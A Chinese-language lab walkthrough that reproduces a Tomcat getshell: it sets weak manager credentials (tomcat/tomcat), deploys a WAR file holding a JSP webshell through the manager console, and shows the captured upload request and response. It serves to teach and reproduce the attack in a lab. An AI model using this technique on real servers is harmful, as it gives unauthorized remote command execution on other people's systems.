Tomcat 上传GetShell

0x01 前言

其实这不算是洞，只能说是因为弱口令导致的可登录后台，且通过后台上传打包好的webshell的war包进行getshell。

0x02 环境准备

os:Windows10
server:Apache-tomcat-7.0.10-windows-x64

修改conf/tomcat-user.xml文件

<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

启动tomcat

catalina.bat start

编译包含有webshell.jsp的war包（可以用idea或者eclipse或者jar直接打包）

0x03 利用复现

访问tomcat后台，输入用户名密码tomcat/tomcat

http://localhost:8081/manager/html

选择编译好的war包进行上传，并选择deploy部署war包

可以看到上传完成之后的是jspwebshell

点击访问该链接，并执行命webshell命令

请求数据包

POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=5DBB88101F6A2FE3465F9EF8720E4644 HTTP/1.1
Host: 10.100.19.108:8081
Content-Length: 1233
Cache-Control: max-age=0
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Upgrade-Insecure-Requests: 1
Origin: http://10.100.19.108:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLv6yOjUccf41n2M1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.100.19.108:8081/manager/html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E45D9B11B3C556C53687D94C13C5851A; JSESSIONID=CFA09220BDD6F7716289CDBB96B18FD8
Connection: close

------WebKitFormBoundaryLv6yOjUccf41n2M1
Content-Disposition: form-data; name="deployWar"; filename="JspWebShell.war"
Content-Type: application/octet-stream

...

返回包

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Date: Tue, 20 Oct 2020 12:39:52 GMT
Connection: close
Content-Length: 17326

...
<table cellspacing="4" border="0">
 <tr>
  <td class="page-title" bordercolor="#000000" align="left" nowrap>
   <font size="+2">Tomcat Web Application Manager</font>
  </td>
 </tr>
</table>
<br>
...
<table border="1" cellspacing="0" cellpadding="3">
 <tr>
  <td class="row-left" width="10%"><small><strong>Message:</strong></small>&nbsp;</td>
  <td class="row-left"><pre>OK</pre></td>
 </tr>
</table>

0x04 参考

https://github.com/vulhub/vulhub/tree/master/tomcat/tomcat8